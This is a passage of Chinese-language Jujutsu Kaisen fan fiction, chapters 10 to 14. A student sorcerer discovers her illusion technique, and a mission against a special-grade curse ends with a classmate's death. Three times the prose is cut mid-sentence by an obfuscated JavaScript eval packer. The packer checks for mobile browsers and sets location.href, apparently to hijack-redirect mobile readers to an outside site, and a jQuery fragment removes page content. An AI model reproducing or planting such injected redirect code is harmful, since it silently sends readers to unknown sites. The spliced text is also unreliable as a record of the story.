“你对五条悟太纵容了!像他那种人,就不能惯着,不然他会蹬鼻子上脸,越来越过分!” 花野依眨了眨眼,认真地思考起这番话 溺爱? 她对五条老师? 怎么可能,那是老师,她是学生,她哪有资格溺爱老师…… 但野蔷薇说的似乎也有道理。 她确实一直在替他说话,一直在替他找理由,一直在告诉自己“他是为了我好” 可是…… “我觉得……”她慢慢开口,声音很轻,像是在对自己说。 “五条老师虽然性格跳脱,有时候不太认真,像个小孩子一样……但他确实是在认真教我。 他带我去任务,让我面对咒灵,让我在实战中成长,所以……” 她抬起头,看向野蔷薇: “我没有纵容他,是他在教育我,我只是……只是觉得他教育的方式,可能需要我再适应一下……” 最后几个字她说得很轻。 野蔷薇看着她,沉默了好几秒。 然后她伸手,用力揉了揉花野依的头发。 “行吧,”她说,语气里带着一丝无奈。 “你心里有数就行,不过记住了,要是那家伙再欺负你,一定要告诉我们,我们虽然打不过他,但骂他还是可以的!” 花野依被揉得有些懵,但还是乖乖地点了点头。 伏黑惠在一旁叹了口气,那叹息里带着一种“这些人真是没救了”的无奈。 虎杖悠仁则笑了起来:“好了好了,吃饭吃饭,再聊下去菜都凉了。” 四个人重新拿起筷子,继续吃起晚饭。 11. 第十一章 吃完饭后,野蔷薇主动提出带花野依去宿舍,两个人并肩走在校园里,穿过一条种满樱树的小路。 虽然樱花已经谢了,但绿叶繁茂,在灯光下泛着鲜亮的颜色。 “你的行李之前就让五条老师送过去了,”野蔷薇说 “我们帮你收拾了一下,应该都放好了,你看看还缺什么,缺的话告诉我,我带你去买。” 花野依听着她的话,心里暖暖的:“谢谢……谢谢你们……” “谢什么,朋友嘛,互相照顾应该的。”野蔷薇摆摆手,突然想起什么 “对了,你的那个咒灵——噗噗?也一起送过来了,就放在你宿舍里,它好像有点担心你,一直趴在你枕头边上不肯动。” 花野依想象着噗噗趴在自己枕头上的样子,嘴角忍不住微微上扬 两个人走到一栋宿舍楼前,野蔷薇把她送到门口,指了指二楼的一个窗户: “那就是你的房间,我就住在隔壁,有事随时敲门。” 花野依点点头,再次道谢 “行了行了,别谢来谢去的了,”野蔷薇笑着说 “快进去休息吧,刚醒过来别累着,明天见!” 她挥挥手,转身走了 花野依看着她的背影消失在走廊尽头,才推开了宿舍的门 房间不大,但收拾得整整齐齐,一张单人床靠墙放着,铺着干净的床单和被褥 窗边有一张书桌,桌上摆着几本书和一个台灯 角落里有一个小衣柜,柜门半开着,能看到里面挂着的几件衣服。 床上,一个小小的绿色身影正趴在那里 “噗叽!” 噗噗抬起头,那双黑豆一样的眼睛在看到她的瞬间亮了起来。 它从床上跳下来,迈着短小的四肢,一颠一颠地跑向她,扑到她脚边,用脑袋蹭着她的腿。 花野依蹲下身,把它抱起来,搂在怀里 “对不起,”她轻声说,“让你担心了。” 噗噗蹭着她的脸,发出轻轻的“噗叽噗叽”声,像是在说“你没事就好”。 花野依抱着它,在房间里走了一圈,窗户正对着校园里的一片树林,月光从窗外透进来。 在地上投下斑驳的光影,远处隐约能听到一些虫鸣,让这个陌生的环境多了几分生气。 她坐在床边,抱着噗噗,发了一会儿呆,然后她去洗漱,换上睡衣,躺在了床上。 被子很软,枕头很舒服,一切都收拾得很妥帖。 她能感觉到那些同期们的心意,那种被人照顾、被人关心的感觉,让她心里暖洋洋的,软绵绵的,像是泡在温水里一样。 但闭上眼睛之后,那些画面又浮现出来了 那些手 那些灰色的、正在侵蚀她身体的手 被抓住时的绝望 拼命挣扎却挣不开的无力感 还有那个人—— 坐在床边,月光从身后照过来,一动不动地看着她 花野依睁开眼睛,盯着天花板 心跳有些快 她翻了个身,看向窗外,月光从窗户透进来,洒在地板上,和那天晚上的月光一样明亮,一样清冷。 “噗噗。”她轻声唤道 噗噗从枕头边爬起来,蹭了蹭她的脸 花野依伸出手,摸了摸它的脑袋,然后心念一动—— 噗噗的影子开始蠕动 不,不是影子,是咒力。 是那种她和噗噗共享的、同源的咒力,从她体内涌出,从噗噗的身体里溢出,在床边凝聚成形。 那是一个人形 黑色的长发顺滑地垂落在肩侧,发尾微微向内卷曲,在月光下泛着柔和的光泽。 脸庞小巧而乖巧,五官精致却透着一种小心翼翼的怯意,眉毛微微下垂,嘴唇轻轻抿着,像是在等待着什么人的指令。 身形纤细而瘦弱,肩膀窄窄的,腰肢细细的,整个人透着一股易碎的感觉。 那是一个典型的、乖巧的女孩形象。 那是花野依自己 或者说,是另一个花野依。 那个“花野依”站在床边,眼神涣散,没有焦距,像是还没有被注入灵魂的躯壳。 它静静地立在那里,月光照过来,在地上投下一道浅浅的影子。 噗噗发出轻轻的“噗叽”声,咒力再次涌动 那个“花野依”的眼睛开始变化 瞳孔渐渐聚焦,眼神渐渐灵动,涣散的光芒被某种东西取代。 那是生命的迹象,是意识的觉醒,是一个躯壳变成“存在”的瞬间,它眨了眨眼,转过头,看向床上的花野依。 那双眼睛,和她一模一样 花野依看着它,心跳快了几分 然后她闭上眼睛,发动咒力 房间开始变化 那些原本整洁的摆设开始模糊,像是被水浸泡过的水彩画,颜色晕开,线条扭曲,然后新的画面从模糊中浮现。 榻榻米,纸门,窗外的假山,还有那张双人床。 那是温泉旅馆的房间 是她和咒灵战斗的那个房间 每一处细节都那么真实。 榻榻米的纹理,纸门的木框,窗外假山的形状,甚至月光的角度,都和那天晚上一模一样。 花野依睁开眼睛,看着这个自己创造出来的幻境 那个“花野依”站在幻境中央,眼神灵动,姿态自然,像是真的活过来了一样。 它在房间里走动,伸手触摸那些纸门,弯腰看向窗外的假山。 每一个动作都那么真实,真实到连花野依自己都有些分不清。 她明白了这是自己真正的咒术——幻花境 幻花境可以制造幻境,让环境随心而变,噗噗可以制造分身,让虚幻拥有实体。 两者结合,她就能创造一个介于真实和虚幻之间的世界,一个连咒灵都无法分辨真假的世界。 在那个世界里,分身可以迷惑咒灵,幻境可以削弱咒灵,等咒灵放松警惕、露出破绽的时候,噗噗就可以一口吞下它—— 吞下的咒灵,会被噗噗消化成自己的咒力 这是她的新能力 这是她在生死一线间悟出的、属于她自己的咒术。 花野依心念再动,幻境和分身同时消散,房间里恢复了原本的模样。 整洁的摆设,安静的月光,还有噗噗趴在她枕边的身影。 她翻了个身,面向窗户 月光从外面透进来,和那天晚上一样明亮,一样清冷。 她应该高兴的 五条老师的教育方式虽然严苛,但确实有效。 她开发出了新能力,有了自保的本事,离“安心地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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所以当五条悟出现在她家门口,说“你有成为咒术师的潜力”的时候,她其实是高兴的。 虽然害怕,虽然紧张,虽然不知所措,但心底深处,有一点点高兴 因为终于有人告诉她,她的“不一样”是有价值的。 因为终于有人愿意教她,怎么去面对那些让她害怕的东西。 因为终于有人……愿意成为她的依靠。 所以她努力跟上他的节奏,努力完成他布置的任务,努力在面对咒灵时鼓起勇气,努力不让他失望。 因为她想让他知道,她没有辜负他的相信。 可是那天晚上,当她看向他时,他没有回应她。 她理解那个选择,真的理解 但她还是忍不住想—— 如果那天晚上,那些手再多抓一会儿,那灰色再多蔓延一点,他会不会在最后一刻之前出手? 如果那天晚上,她真的撑不住了,他会不会后悔没有早点出手? 如果那天晚上…… 她咬住嘴唇,不让那些乱七八糟的念头继续蔓延。 窗外月光依旧明亮 花野依闭上眼睛,强迫自己入睡 明天是新的一天 她还有课要上,有东西要学,有同期们要相处。 一切都会好起来的 一定。 但睡着之前,最后一个念头还是浮现在脑海里 …… 五条老师,为什么? 在我痛苦的时候,为什么你只是看着? 为什么对我这么严苛? 12. 第十二章 那之后的一周,花野依把自己埋进了近乎自虐的忙碌里。 每天清晨天还没亮她就起床,抱着噗噗跑到校园后面的空地上练习「幻花镜」。 那些花朵从初时的稀稀落落到渐渐能铺满整片空地,从只能维持几秒到能够持续近一分钟,从简单的幻象轮廓到与现实毫无区别的幻境。 她一遍遍地催动咒力,直到额头渗出细密的汗珠,手臂颤抖得几乎抬不起来。 直到噗噗发出疲惫的“噗叽”声蹭着她的脸求饶,她才肯停下来休息片刻。 白天她泡在图书馆里,翻阅那些厚重得能把人压垮的咒术典籍。 咒灵的等级分类、咒力的运行原理、历代咒术师的战斗记录、各种咒术的相生相克。 那些文字密密麻麻地挤在发黄的纸页上,看得她眼眶发酸。 但她不敢停下来,因为她知道,那些她看不懂的东西,可能在下一次任务里就会要了她的命。 傍晚时分,她会去找伏黑惠 说是“找”,其实是伏黑惠主动提出的,那天在食堂里,他难得开口 “你的咒灵需要实战练习,我的式神也是,要不要一起?” 花野依当时愣住了,半晌才反应过来,拼命点头 于是每天傍晚,校园后面的空地上就多了两道身影。 伏黑惠双手比作式神的样子,面无表情地指挥着鵺或大蛇与噗噗缠斗。 花野依站在一旁,全神贯注地维持着咒力输出,让噗噗能够保持足够大的体型。 噗噗在影子里时,她能清晰地感觉到体内的咒力正在被一丝丝抽走,但从影子里召唤出噗噗时,被抽走咒力的状态又会戛然而止。 噗噗与式神不同,噗噗是另一个独立的生命,它需要她的咒力才能在影子中躲藏 当噗噗保持战斗形态时,它的意志是自由的,它的战斗方式是它自己的。 她们之间,她提供力量,噗噗提供战斗的本能,她们互相吞噬彼此又互相保护彼此。 —— 那天是个闷热的阴天。 天空压得很低,铅灰色的云层像一块厚重的湿布裹住整个城市,空气黏稠得几乎凝固,让人喘不过气来。 花野依坐在前往任务地点的车上,透过车窗看着外面灰蒙蒙的天色,心里莫名地发慌。 那种感觉说不清道不明,像是有什么东西正在暗处窥视着她,又像是脚下的地面正在一点点裂开,而她无处可逃。 “这次的任务是西郊少管所,” 驾驶座上,伊地知的声音难得地严肃,他手里拿着一份文件,眉头紧锁 “三天前,那里出现了咒灵的咒胎,根据观测,咒力波动一直在增强,目前很可能已经接近——甚至已经达到了特级。” 特级! 这两个字像一块巨石砸进花野依心里,激起层层惊涛骇浪。 她下意识地抱紧了怀里的噗噗,感觉到那个小小的身体也在微微发抖。 “因为咒术师人员严重不足,”伊地知继续说,声音里带着一丝不易察觉的愧疚 “所以这次任务只能交给你们四个,任务是营救少管所里还有五名被困人员,你们的任务是进入咒胎领域,找到他们,带他们出来。” 他说到这里,顿了顿,回过头看向后座的四个人 那张平时总是带着几分窝囊和紧张的脸上,此刻只剩下严肃。 “记住!” 他一字一句地说,“如果遭遇了特级咒灵,你们的选项只有两个——” “逃跑,或者死。” 车厢里陷入死一般的寂静 虎杖悠仁的表情凝重了几分,钉崎野蔷薇的眉头紧紧皱起。 伏黑惠依然面无表情但花野依能看见他的手指微微收紧。 而她自己的心跳,已经开始不受控制地加速。 不对劲…… 从听到“特级”那两个字开始,她就觉得不对劲 就算咒术师再缺人,也不应该让只上了两周学的新生去处理特级咒灵吧? 就算再紧急的任务,也应该有至少一名一级咒术师带队吧? 上次她能单独面对那个一级咒灵,是因为五条悟就在旁边。 那个最强的男人虽然没出手,但他的存在本身就是一种保障,她知道只要自己撑不住,他一定会出手。 可这次呢? 这次连个能辅助的大人都没有 只有他们四个 四个新生 四个加起来才学了不到一个月咒术的新生 花野依低下头,看着怀里的噗噗。 那双黑豆一样的眼睛也正望着她,里面闪烁着和她一样的不安。 一路上,她再没有说过一句话 进入少管所门口时,那股不安变成了实质 从外表看那是一栋再普通不过的宿舍楼——灰白色的外墙,整齐排列的窗户,生锈的铁门。 但花野依在进入的一瞬间,浑身的汗毛就全部竖了起来。 出问题了! 本该一栋两层楼的建筑,可她的眼睛看到的,却是一望无际的高楼,层层叠叠,直插云霄,根本看不到尽头。 “生得领域……”她喃喃道,声音轻得几乎听不见 咒力展开后形成的独立空间,与现实世界重叠却又不属于现实世界,那些被困的人就在这重叠的缝隙里,而那个咒灵—— 是这片空间的主人。 噗噗在她怀里剧烈地颤抖起来,发出一声声细小的、恐惧的“噗叽”。 花野依抱着它的手也在抖,但她强迫自己深呼吸,强迫自己冷静下来。 “入口不见了!” 伏黑惠的声音从旁边传来,依然冷静,但花野依能听出那冷静下面藏着的慌乱 “我们进来的那个门,消失了。” 几个人回头看去,原本应该立在那里的铁门,此刻只剩下一堵灰白色的墙。 墙上的窗户整齐排列,每一扇都黑洞洞的,像是无数只眼睛在注视着他们。 “别慌,”伏黑惠说着,双手结印,“玉犬!” 两道黑色的身影从他脚下的影子里窜出,一左一右落在地上,嗅着空气,其中一只突然叫了一声,朝着某个方向跑去。 “玉犬记得来时的气味,”伏黑惠说,“跟着它,就能找到出口。” 虎杖悠仁和钉崎野蔷薇明显松了一口气,野蔷薇蹲下身,伸手摸了摸玉犬的脑袋,脸上露出那副标志性的灿烂笑容:“好孩子!等出去给你吃肉干!” 虎杖也凑过去,学着野蔷薇的样子摸了摸另一只玉犬:“good boy!真聪明!” 花野依看着他们,张了张嘴,想说出自己心里的那种不妙的预感。 那种从下车开始就挥之不去的、像是有什么东西正盯着她们的后背的、让人头皮发麻的感觉—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471635|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但她还没来得及开口,脚下的地面突然塌了。 不是真的塌,而是出现了一个黑洞,一个圆形的、边缘扭曲的、像是被什么东西强行撕开的黑洞。 那洞口就在钉崎野蔷薇脚下,瞬间扩大,把她整个人往里吸去。 “野蔷薇——!”花野依下意识地伸手去抓,却只抓到一把空气 她的指尖与野蔷薇的手指擦过,什么都没有抓住。 但在野蔷薇掉下去的最后一瞬,花野依用尽全身力气,把怀里的噗噗扔了进去。 那个小小的绿色身影在空中划过一道弧线,在野蔷薇消失的前一秒拉住了它的手。 花野依只来得及看到那双黑豆一样的眼睛,然后洞口就消失了,地面恢复了原样,仿佛刚才的一切从未发生。 “噗噗……野蔷薇……”花野依跪在地上,手指死死扣进地面的裂缝里。 下一秒,一声凄厉的撞击声撕裂了空气 花野依猛地抬头,就看到那只刚才还在被虎杖摸头的玉犬,此刻已经被钉在了墙上。 被一股无形的力量直接按进了墙体里,像是有人把一张纸揉成一团然后狠狠砸进墙面。 鲜血从墙体与玉犬接触的地方渗出来,一滴一滴落在地上,发出细微的、令人牙酸的啪嗒声。 那只玉犬的眼睛还睁着,但已经没有了任何神采 “快逃!” 伏黑惠的声音传来,带着从未有过的紧张和恐惧,连声音都在发抖 “快逃,等逃出去之后再找钉……” 他的话没能说完 因为就在他身边,在虎杖悠仁身边,在那个不到一米的地方瞬间出现了一个人形的咒灵。 类人型,有四肢,有躯干,有头颅,它静静地站在那里,看着面前的两个人伏黑惠和虎杖悠仁。 那张脸上没有表情,只有一双眼睛,空洞的、没有任何情感的眼睛。 但它存在本身,就是一种压迫 那种压迫感从它身上散发出来,像是无形的巨手攥住花野依的心脏,攥得她喘不过气来。 她的身体开始发抖,从骨髓深处涌出来的、无法抑制的剧烈颤抖,抖得她牙齿都在打颤,抖得她几乎站不稳。 脑子里有一个声音在尖叫:快逃!快逃啊!这是特级咒灵!你打不过的!快逃! 可是她的腿不听使唤 她想跑,但腿像是被钉在地上一样,一步都迈不出去,她想喊,但喉咙像是被什么东西堵住,发不出任何声音。 她只能站在那里,眼睁睁地看着那个咒灵,看着它那双空洞的眼睛。 心跳太快了! 快到她能清晰地感觉到每一次跳动,能感觉到心脏撞击胸腔的力度,能感觉到血液在血管里疯狂奔涌。 那心跳声太大太大,大到她怀疑全世界都能听到,大到她怀疑那个咒灵下一秒就会转过头来,看向她。 可是它没有 它只是看着伏黑惠和虎杖悠仁,像是在看两个有趣的玩具。 花野依的眼泪流不出来 因为太害怕了,害怕到身体的所有功能都停止了运作,害怕到连眼泪都被冻结在眼眶里。 她只能站在那里,呼吸急促而浅薄,脑子里只剩下一句话在不断循环: 快逃! 快逃!! 快逃!!! 可是她动不了 她动不了…… 13. 第十三章 那只手落在花野依面前时,她甚至没有第一时间认出那是什么。 刀形的咒具还攥在断指的指缝间,熟悉的形状,那是五条悟交给虎杖悠仁的咒具。 她见过很多次,在食堂里被虎杖随手放在桌边,在训练场上被虎杖握在手里挥舞。 在那些短暂而珍贵的日常片段里,那个咒具从来都是和虎杖的笑容一起出现的。 可现在,它和一只断手一起,落在了她面前 血液从断口处涌出,在地上蔓延成一小片暗红色的水洼,那颜色刺目得让人无法直视。 花野依的目光僵直地落在那只手上,落在那些还保持着握紧姿态的手指上,落在指缝间那个再熟悉不过的咒具上。 她的脑子里轰然炸开,炸成一片空白,炸成一片嗡嗡作响的虚无。 耳鸣—— 剧烈的耳鸣 声音尖锐得像是要把她的耳膜刺穿,又沉闷得像是在她脑子里塞进了一整座钟楼,所有的钟同时敲响,震得她什么都听不见,什么都想不了,什么都做不了。 她只能站在那里,看着那只手,看着那些血,看着那个前一秒还在笑着、还在说着“等出去给你吃肉干”的人,现在—— 冷汗从她背部的每一寸皮肤里渗出来,瞬间打湿了衬衫,布料黏在背上,又冷又湿。 有什么东西动了 是她的身体,在她大脑一片空白的情况下,自己动了起来。 伏黑惠和虎杖悠仁眼前的景象开始扭曲 那些层层叠叠的、没有尽头的灰色楼层,那些压得人喘不过气来的绝望,全部开始融化。 像是被什么东西从内部撕裂,又像是被什么东西从外部覆盖。 新的景象从旧世界的缝隙里生长出来,蔓延开来,铺天盖地——花海 一望无际的花海 那些花朵的颜色说不清是什么,有时是粉色,有时是紫色,有时是金色,随着目光的移动而变换,仿佛每一朵花都有自己的呼吸。 花瓣在无风中轻轻摇曳,花香诡异而浓烈,浓烈到几乎能麻痹感官,让人忘记自己身处何地,忘记自己刚才还在面对什么。 是花野依的术式——「幻花镜」 她的脑子依旧一片空白,那尖锐的耳鸣仍占据她的大脑。 但她的身体,她的本能,她这些天拼命练习刻进骨髓里的那些东西,它们还在运作。 咒力从她体内涌出,不需要思考,就那样自然而然地流淌出去,渗入这片被死亡笼罩的空间,开成花,织成幻境。 术式发动成功的下一秒,她的腿也开始动了她用尽全身力气,拼命跑向那两个人。 伏黑惠和虎杖悠仁就站在距离那个咒灵不到两米的地方,静止得像两尊雕塑,像是被恐惧钉在了原地。 她跑到他们跟前,一手抓住一个人的手腕,用尽全力把他们往后拖。 隐匿 这是她这些天自己摸索出来的能力,用「幻花镜」覆盖自己和同伴的气息,让那些花朵的香气掩盖一切属于活人的痕迹,让那个咒灵感知不到他们的存在。 她抓着他们的手,一步一步,小心翼翼地往后退 远离那个咒灵 每一步都轻得像踩在刀尖上,每一步都慢得像过了一个世纪,花野依能感觉到自己的心跳。 那心跳依然快得吓人,快到她怀疑整个花海都在随着她的心跳震颤。 汗水从额角滑落,浸湿了鬓发,黏在脸颊上,她觉得到自己的脸色一定苍白得像纸。 自己的手在发抖,但她没有停下来,没有松开手,没有让步伐乱掉。 做得很好! 她在心里对自己说,轻轻地鼓励着自己 就这样,做得很好! 伏黑惠和虎杖悠仁安静地跟着她移动,一句话也不说,一点声音也不发出,但他们两个人的眼睛,都死死地盯着面前的那个咒灵。 盯着那张没有表情的脸,那具类人型的、散发着死亡气息的躯体。 他们不敢移开视线,不敢让那个东西离开自己的视野,因为他们知道,只要一眨眼,那个东西就可能消失,然后出现在别的地方,出现在他们来不及反应的地方。 那个咒灵,在花海出现的一瞬间,就像是被抽走了灵魂 它站在那里,一动不动,那双空洞的眼睛望着面前无边无际的花朵。 那种压迫感,那种随时可能降临的死亡,像是被按下了暂停键。 它在花海里迷失了 至少暂时 花野依带着两个人,一步一步,慢慢地,慢慢地,远离那个中心。 她能看见那个咒灵的轮廓在花海中越来越小,越来越模糊,她能看到希望—— 那个咒灵动了一下 它抬起头,看向四周,那些花朵依然绚烂,但它的眼睛里,空洞正在被另一种东西取代。 是愤怒 它发现他们不见了 它发现自己被骗了 咒灵的嘴张开,没有任何声音发出,但从那张嘴里,咒力开始凝聚。 形成一个球形的、散发着恐怖咒力波动的、像是能把一切吞噬的光团。 光团从它嘴里吐出,向着四周,向着整片花海,疯狂地、毫无章法地喷射,光团落在花海里,炸开,炸出一个个巨大的坑洞,炸碎无数花朵,炸出满目疮痍。 那些被炸碎的幻象瞬间消散,露出下面灰色的、真实的世界,但花野依咬紧牙关,拼命运转咒力。 填补那些坑洞,修复那些破碎,让花海重新绽放,重新覆盖住那些不该被看到的东西。 她能感觉到咒力正在以恐怖的速度流失,能感觉到身体正在被掏空,但她不能停下来,不能—— 突然,她感觉到咒力的流失速度,加快了! 是因为噗噗! 是噗噗那边,在野蔷薇那边遇到了危险! 这个念头像一盆冰水浇在她头上,让她从头到脚都冷透了,她能清晰地感知到,她和噗噗之间那条无形的纽带,正在被疯狂地抽取。 噗噗在动用咒力,在战斗,在用她们共享的、同源的咒力拼命,这意味着,原本就所剩无几的咒力,现在要同时支撑两边—— 一边是这里,是「幻花镜」,是虎杖和伏黑的生命 一边是那里,是噗噗,是野蔷薇的生命 她该选哪边? 她怎么能选? 心脏像是被什么东西狠狠攥住,攥得她喘不过气来,花野依的脑子里闪过无数个念头。 如果她一开始就说出来 如果她一开始就说自己感觉不对 如果她在一到少管所的时候就坚持让大家撤退 如果她不是那么懦弱、那么胆小、那么不敢开口 是不是就不会这样? 野蔷薇就不会被那个黑洞吸走 虎杖的手就不会断 是不是所有人都不用面对这种情况? 自责像潮水一样淹没她,淹得她几乎无法呼吸,淹得她眼前一阵阵发黑,但现实没有时间留给她自责,崩溃—— 下一秒,咒力的波动就出卖了她,「幻花镜」出现了短暂的裂隙。 只是一瞬间,只是一眨眼的工夫,但对那个咒灵来说,足够了。 它转过头来,那双空洞的眼睛,准确无误地看向他们藏身的方向。 花野依来不及做出任何反应 一道黑影闪过,快得她根本看不清是什么,然后一股巨大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471636|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力量撞在她身上,把她整个人撞飞出去,撞向身后的墙壁。 她的后背重重砸在水泥墙上,发出沉闷的撞击声,墙体被砸出裂纹,她被那股力量钉在墙上,动弹不得。 痛! 好痛!!! 好几根肋骨在她体内断裂,断裂的骨茬刺进肺里,刺穿那些柔软的、需要呼吸的组织。 腥甜的液体从喉咙里涌上来,涌进嘴里,从嘴角溢出,滴落在她的衣襟上。 血 她的血 “花野——!” 是虎杖和是伏黑的声音,在喊她的名字,声音里带着惊恐和担忧,她想回应他们,想说“我没事”,想说“快跑”。 但她发不出任何声音,肺被刺破,嘴里全是血,喉咙被血堵住,每一次呼吸都用尽了全力。 她努力睁开眼睛,看向前方—— 那个咒灵的轮廓在她眼中变成了几个重叠的影子,在移动,在攻击,它的目标不再是自己,而是伏黑他们。 它在戏耍他们,像猫戏弄已经到嘴边的老鼠,不急着杀死,只是戏耍。 她看到虎杖的身影在闪避,看到伏黑的身影在后退,看到他们拼命想要向她的方向移动,却被那个咒灵一次次挡回去。 她想伸出手,想放出术式,想帮他们。 但她的手臂不听使唤了,手臂以一个诡异的角度垂着,骨折了,骨头从中间断开,她甚至能感觉到断茬在肌肉里错位的触感。 她试着动手指,动不了,试着动整条手臂,动不了,试着调动咒力—— 咒力已经彻底耗尽,被这里的战斗和那边的噗噗抽得干干净净,她现在只是一个躺在墙边、嘴里全是血、手臂骨折、肋骨断裂刺穿肺部的废人。 我该怎么办? 这个念头刚浮现在脑海里,就被更深的绝望淹没了 没有人会来救他们 五条老师不在 没有任何可靠的大人在这里 只有他们四个新生,面对一个特级咒灵,面对死亡 她想到了五条悟 那个在她战斗时只是看着、逼她自己突破极限的人,她想到了他的脸,想到他偶尔摘下墨镜时露出的那双璀璨的眼睛,想到他伸手揉她头发时掌心的温度—— 五条老师…… 视线越来越模糊 像是沉入水底,意识正在流失,正在被黑暗一点点吞噬—— 在最后一刻,她听到了虎杖的声音。 “伏黑,你先走。” 那声音沙哑,却带着一种可怕的平静 “把花野和钉崎救出来安全之后给我发信号,我就把宿傩放出来。” 不要! 不要——! 花野依的意识在尖叫,在挣扎,在用尽最后一丝力气想要冲破那层黑暗。 不要放出宿傩!虎杖你会死的!你会死的! 她的手抬不起来,她的嘴发不出声音,她的眼睛已经什么都看不见了,只有无尽的黑暗和虎杖那句话在耳边回荡。 巨大的悲伤像潮水一样淹没她 然后是愤怒 是恨——恨自己的弱小,恨自己的无力 恨自己什么都做不到,只能躺在这里,听着同伴要去送死,却连阻止的能力都没有。 不要…… 不要…… 花野依用尽最后一丝意识,拼命地想要睁开眼睛,想要伸出手,想要喊出那个名字—— 黑暗彻底吞没了她 在她彻底失去意识的前一秒,她的心里只有一个念头,只有一个声音,在不断重复,不断呜咽: 虎杖,不要放出宿傩! 不要死! 求你了……不要死…… 14. 第十四章 花野依第二次从高专医务室的床上醒来时,正是傍晚,窗外的天空正下着瓢泼大雨。 那些雨滴密集地砸在玻璃上,发出连绵不绝的噼啪声响,像是有无数只手在同时敲打着窗户,想要挤进这个安静的房间里来。 医务室只有床头那盏小灯亮着,在墙壁上投下一小片温暖的橘黄色光晕。 家入硝子站在床边,神情比平时更加沉静 她看着床上那个刚刚睁开眼睛的女孩,那双还有些涣散的瞳孔逐渐聚焦,看着那双眼睛转向自己,她开口说出了一个沉重的消息。 “虎杖悠仁死了。” 花野依听着这句话,脸上没有出现任何表情 她就那样静静地躺在那里,眼睛望着天花板,听着窗外哗哗的雨声。 那雨声真大,大得像是要把整个世界都淹没,大得让人听不见自己的呼吸。 她的目光从天花板慢慢移向窗户,看向那片被雨水冲刷得模糊不清的玻璃。 外面漆黑一片,什么都看不见,只能看见玻璃上倒映出的医务室里的景象。 昏黄的灯光,白色的墙壁,还有她自己躺在床上的模糊轮廓。 她就那样看着,看着玻璃上那个模糊的自己,看着那些不断滑落的雨痕,看了很久很久。 家入硝子没有出声打扰,她站在那里,看着这个学生的侧脸,试图从那平静的表情里读出些什么——但什么都读不出来。 那张脸上没有眼泪,没有悲伤,没有崩溃,只有一种空洞的、像是被抽走了所有情绪的空白。 她在想什么呢? 家入硝子不知道 也许连花野依自己都不知道 过了很久,花野依开口了,她的声音干涩而嘶哑: “伏黑和野蔷薇……他们怎么样了?” 家入硝子准备好的安慰话被堵了回去,她看着这个第一时间询问同伴状况的学生,心里涌起一种复杂的情绪。 她放柔了声音,用尽量平和的语气回答 “伏黑同学还没醒,就在你隔壁的病房。钉崎同学因为有你的咒灵保护,受伤不重,现在已经在宿舍休息了。” 说到这里,家入硝子想起什么,又补充道 “你的那个咒灵,咒力用尽后陷入了沉睡,钉崎同学帮你把它放回了你的宿舍。” 话音落下,医务室里陷入了漫长的沉寂 窗外的雨还在下,滴滴答答的声音填满了每一秒的空白 家入硝子看着花野依,等着她说些什么,或者做些什么,哭出来也好,问更多问题也好,什么都好。 但花野依只是安静地躺着,目光重新移回了天花板 过了许久,久到家入硝子以为她已经睡着了的时候,一个嘶哑的、几乎微不可闻的声音响起: “谢谢您。” 那声音太轻了,轻得几乎被雨声盖过,但家入硝子听见了。 她看着那个说完这句话就闭上眼睛的女孩,沉默了几秒,然后伸手关掉了床头的灯,轻轻退出了房间。 门在身后合上,发出一声细微的响动 医务室里寂静一片只剩下黑暗,和雨声 花野依睁开眼睛 其实睁不睁都一样,房间里太黑了,黑得伸手不见五指,黑得让人分不清自己是醒着还是在做梦。 只有偶尔划过天际的闪电,会在那一瞬间照亮整个房间,照亮她的脸,照亮她那双睁着的、空洞的眼睛。 她动了动那只受伤的手臂 不痛了 反转术式已经治好了她的伤,治好了那些断裂的肋骨,治好了被刺穿的肺,治好了骨折的手臂。 她活动了一下手指,又活动了一下手腕,感觉不到任何疼痛,只有咒力耗尽后特有的那种沉重感。 像是身体里灌满了铅,每一个动作都需要用尽全力。 反转术式啊…… 真好用 即使不是第一次被反转术式治疗,她还是忍不住这么想。 那种从重伤到痊愈的神奇转变,那种几乎可以称得上奇迹的治愈能力,每次经历都让她觉得不可思议。 如果她会用反转术式呢? 如果当时她能在战斗中用反转术式治好自己,治好虎杖,是不是一切都会不一样? 是不是虎杖就不会…… ………… 没有如果了…… 花野依侧过身,拉起原本盖在胸口的被子,把自己整个裹了进去。 被子很柔软,带着阳光晒过的味道,但她还是觉得冷。 从骨头缝里往外渗,冷得她蜷缩成一团,冷得她把被子裹得紧紧的,冷得她把脸埋进枕头里。 身体很疲惫,每一个细胞都在叫嚣着要休息。 但她睡不着 她一闭上眼睛就看见那只手,那只攥着咒具的、落在她面前的断手。 一闭上眼睛就听见那句话——“我就把宿傩放出来” 一闭上眼睛就看见那个总是笑着的人,现在…… 窗外的闪电又一次划过天际,照亮了整个房间,也照亮了花野依的脸。 那张脸上,全是泪水 —— 第二天中午,伏黑惠醒了 他醒来的第一件事就是问虎杖的情况,家入硝子沉默了几秒,然后用尽可能平静的语气告诉了他那个消息。 伏黑惠听完,什么也没说,只是躺在那里,盯着天花板,像昨天的花野依一样,脸上没有任何表情。 那沉默比任何语言都沉重 